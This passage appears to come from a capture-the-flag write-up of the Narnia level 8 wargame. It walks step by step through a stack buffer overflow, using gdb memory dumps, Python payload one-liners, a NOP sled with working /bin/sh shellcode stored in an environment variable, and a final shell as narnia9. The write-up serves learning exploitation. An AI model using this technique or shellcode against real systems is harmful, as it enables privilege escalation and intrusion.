Other than the “\xbb\xd8\xff\xff” which follows the A’s the memory addresses are the same. So might initial thought was I could overwrite the first memory address with the memory address of the shellcode which would be placed in an environmential variable, but this wasn’t the case because I could not overwrite the memory address at this stage. So I began thinking well since we have an overflow occuring what if we can get around this current point and continue to the overflow to overwrite the RET address with the memory address to the shellcode.
So my thinking was if I could get the binary to go back to blah and pushing data into dok I would be able to cause an overflow which would allow me to gain control of the RET. To do this I would add the memory address for blah after the initial 20 A’s.
(gdb) r $(python -c'print("\x41"*20 + "B"*4)')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia8 $(python -c'print("\x41"*20 + "B"*4)')
Breakpoint 1, 0x08048467 in func ()
(gdb) x/160wx $esp
0xffffd670: 0x08048580 0xffffd688 0x00000014 0xf7fceff4
0xffffd680: 0x080484b0 0x08049794 0x41414141 0x41414141
0xffffd690: 0x41414141 0x41414141 0x41414141 0xffffd842 <-- Overwrite these 4 bytes with blah's location
0xffffd6a0: 0xffffffff 0xf7e5f116 0xffffd6c8 0x0804848d <-- RET Address
0xffffd6b0: 0xffffd8b0 <-- 0x00000000 0x080484b9 0xf7fceff4 - Points to blah
0xffffd6c0: 0x080484b0 0x00000000 0x00000000 0xf7e454b3
-- omitted output --
0xffffd8b0: 0x41414141 <-- 0x41414141 0x41414141 0x41414141 - Start of blah
0xffffd8c0: 0x41414141 0x42424242 0x45485300 0x2f3d4c4c
0xffffd8d0: 0x2f6e6962 0x68736162 0x52455400 0x74783d4d
0xffffd8e0: 0x006d7265 0x5f485353 0x45494c43 0x323d544e
(gdb) r $(python -c'print("\x41"*20 + "\xb0\xd8\xff\xff")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia8 $(python -c'print("\x41"*20 + "\xb0\xd8\xff\xff")')
Breakpoint 1, 0x08048467 in func ()
(gdb) x/50wx $esp
0xffffd670: 0x08048580 0xffffd688 0x00000014 0xf7fceff4
0xffffd680: 0x080484b0 0x08049794 0x41414141 0x41414141
0xffffd690: 0x41414141 0x41414141 0x41414141 0xffffd8b0 <-- Now contains the location for blah
0xffffd6a0: 0xffffffff 0xf7e5f116 0xffffd6c8 0x0804848d <-- RET Address
0xffffd6b0: 0xffffd8b0 0x00000000 0x080484b9 0xf7fceff4
We now should be able to continue overflowing past the current point and overwrite the RET. There are 12 bytes between our current point and the RET address, so I modify the input to account for this information.
(gdb) r $(python -c'print("\x41"*20 + "\xb0\xd8\xff\xff" + "\x41"*12 + "\x42"*4)')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia8 $(python -c'print("\x41"*20 + "\xb0\xd8\xff\xff" + "\x41"*12 + "\x42"*4)')
Breakpoint 1, 0x08048467 in func ()
(gdb) x/160wx $esp
0xffffd660: 0x08048580 0xffffd678 0x00000014 0xf7fceff4
0xffffd670: 0x080484b0 0x08049794 0x41414141 0x41414141
0xffffd680: 0x41414141 0x41414141 0x41414141 0xffff42b0 <-- Now contains the location for blah
0xffffd690: 0xffffffff 0xf7e5f116 0xffffd6b8 0x0804848d <-- RET Address
0xffffd6a0: 0xffffd8a0 0x00000000 0x080484b9 0xf7fceff4
-- omitted output --
0xffffd880: 0x00000000 0x00000000 0x672f0000 0x73656d61
0xffffd890: 0x72616e2f 0x2f61696e 0x6e72616e 0x00386169
0xffffd8a0: 0x41414141 <-- 0x41414141 0x41414141 0x41414141 - Location of blah
0xffffd8b0: 0x41414141 0xffffd8b0 0x41414141 0x41414141
0xffffd8c0: 0x41414141 0x42424242 0x45485300 0x2f3d4c4c
0xffffd8d0: 0x2f6e6962 0x68736162 0x52455400 0x74783d4d
So we weren’t able to overwrite the RET with the new input. This is because as we increase the length of the input, the location of blah changes. Which means we just need to update the memory address in the input.
(gdb) r $(python -c'print("\x41"*20 + "\xa0\xd8\xff\xff" + "\x41"*12 + "\x42"*4)')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia8 $(python -c'print("\x41"*20 + "\xa0\xd8\xff\xff" + "\x41"*12 + "\x42"*4)')
Breakpoint 1, 0x08048467 in func ()
(gdb) x/50wx $esp
0xffffd660: 0x08048580 0xffffd678 0x00000014 0xf7fceff4
0xffffd670: 0x080484b0 0x08049794 0x41414141 0x41414141
0xffffd680: 0x41414141 0x41414141 0x41414141 0xffffd8a0
0xffffd690: 0x41414141 0x41414141 0x41414141 0x42424242 <-- RET Address
0xffffd6a0: 0xffffd8a0 0x00000000 0x080484b9 0xf7fceff4
We have now successfully overwritten the RET address with 4 B’s and now all that is left to do is to attach the shellcode. The only option we have is to place the shellcode in an environmental variable, because the smallest amount of bytes needed for a “/bin/sh” shellcode I’ve seen and used is 25 bytes. In the below section, I go through the process of creating an Environmental variable containing the shellcode and then I just use GDB to have a look at the stack to find the shellcode.
export SC=$(python -c'print("\x90"*30 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")')
-- omitted output --
0xffffdef8: 0x494c0038 0x3d53454e 0x53003236 0x90903d43
0xffffdf08: 0x90909090 <-- 0x90909090 0x90909090 0x90909090 - Start of shellcode
0xffffdf18: 0x90909090 0x90909090 0x90909090 0x6850c031
0xffffdf28: 0x68732f2f 0x69622f68 0x50e3896e 0x89e18953
0xffffdf38: 0xcd0bb0c2 0x4f480080 0x2f3d454d 0x656d6f68
0xffffdf48: 0x72616e2f 0x3861696e 0x4c485300 0x313d4c56
0xffffdf58: 0x474f4c00 0x454d414e 0x72616e3d 0x3861696e
0xffffdf68: 0x48535300 0x4e4f435f 0x5443454e 0x3d4e4f49
-- omitted output --
(gdb) r $(python -c'print("\x41"*20 + "\xa1\xd8\xff\xff" + "\x41"*12 + "\x08\xdf\xff\xff")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia8 $(python -c'print("\x41"*20 + "\xa1\xd8\xff\xff" + "\x41"*12 + "\x08\xdf\xff\xff")')
Breakpoint 2, 0x08048467 in func ()
(gdb) x/50wx $esp
0xffffd660: 0x08048580 0xffffd678 0x00000014 0xf7fceff4
0xffffd670: 0x080484b0 0x08049794 0x41414141 0x41414141
0xffffd680: 0x41414141 0x41414141 0x41414141 0xffffd8a1
0xffffd690: 0x41414141 0x41414141 0x41414141 0xffffdf08
0xffffd6a0: 0xffffd8a1 0x00000000 0x080484b9 0xf7fceff4
0xffffd6b0: 0x080484b0 0x00000000 0x00000000 0xf7e454b3
0xffffd6c0: 0x00000002 0xffffd754 0xffffd760 0xf7fd3000
0xffffd6d0: 0x00000000 0xffffd71c 0xffffd760 0x00000000
0xffffd6e0: 0x0804820c 0xf7fceff4 0x00000000 0x00000000
0xffffd6f0: 0x00000000 0x64f5254f 0x53f0415f 0x00000000
0xffffd700: 0x00000000 0x00000000 0x00000002 0x08048340
0xffffd710: 0x00000000 0xf7ff0a90 0xf7e453c9 0xf7ffcff4
0xffffd720: 0x00000002 0x08048340
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAA¡ØÿÿAAAAAAAAAAAßÿÿ¡Øÿÿ
Breakpoint 3, 0xffffdf08 in ?? ()
(gdb) c
Continuing.
process 10175 is executing new program: /proc/10175/exe
/proc/10175/exe: Permission denied.
NOTE: I had to change the memory address for blah, as it changed again after the shellcode was added to an environment variable.
Unfortunately though in GDB I was able to hit the shellcode successfully but outside GDB I was not able to successfully land on my nope sled and hit my shellcode. So wghat I decided to do pipe my output in xxd, like I did originally to identify the memory addresses, to see what they are being changed too.
narnia8@melinda:/narnia$ ./narnia8 $(python -c'print("\x41"*20 + "\xa0\xd8\xff\xff" + "\x41"*12 + "\x08\xdf\xff\xff")')
AAAAAAAAAAAAAAAAAAAA Aÿÿÿÿÿÿñå÷èÖÿ¯Øÿÿ
narnia8@melinda:/narnia$ ./narnia8 $(python -c'print("\x41"*20 + "\xa0\xd8\xff\xff" + "\x41"*12 + "\x08\xdf\xff\xff")') | xxd
0000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000010: 4141 4141 a041 ffff ffff ffff 16f1 e5f7 AAAA.A..........
0000020: e8d6 ffff 8d84 0408 afd8 ffff 0a .............
In the output from xxd, I can see that the memory address for blah is being changed to 0xffffd8af, so my original value is being changed by 16 bytes. I made the modifications and run the code again.
narnia8@melinda:/narnia$ ./narnia8 $(python -c'print("\x41"*20 + "\xaf\xd8\xff\xff" + "\x41"*12 + "\x08\xdf\xff\xff")')
AAAAAAAAAAAAAAAAAAAA¯ØÿÿAAAAAAAAAAAßÿÿ¯Øÿÿ
$ whoami
narnia9
$ cat /etc/narnia_pass/narnia9
**********
Level 9
A challenge for this level has not been created yet.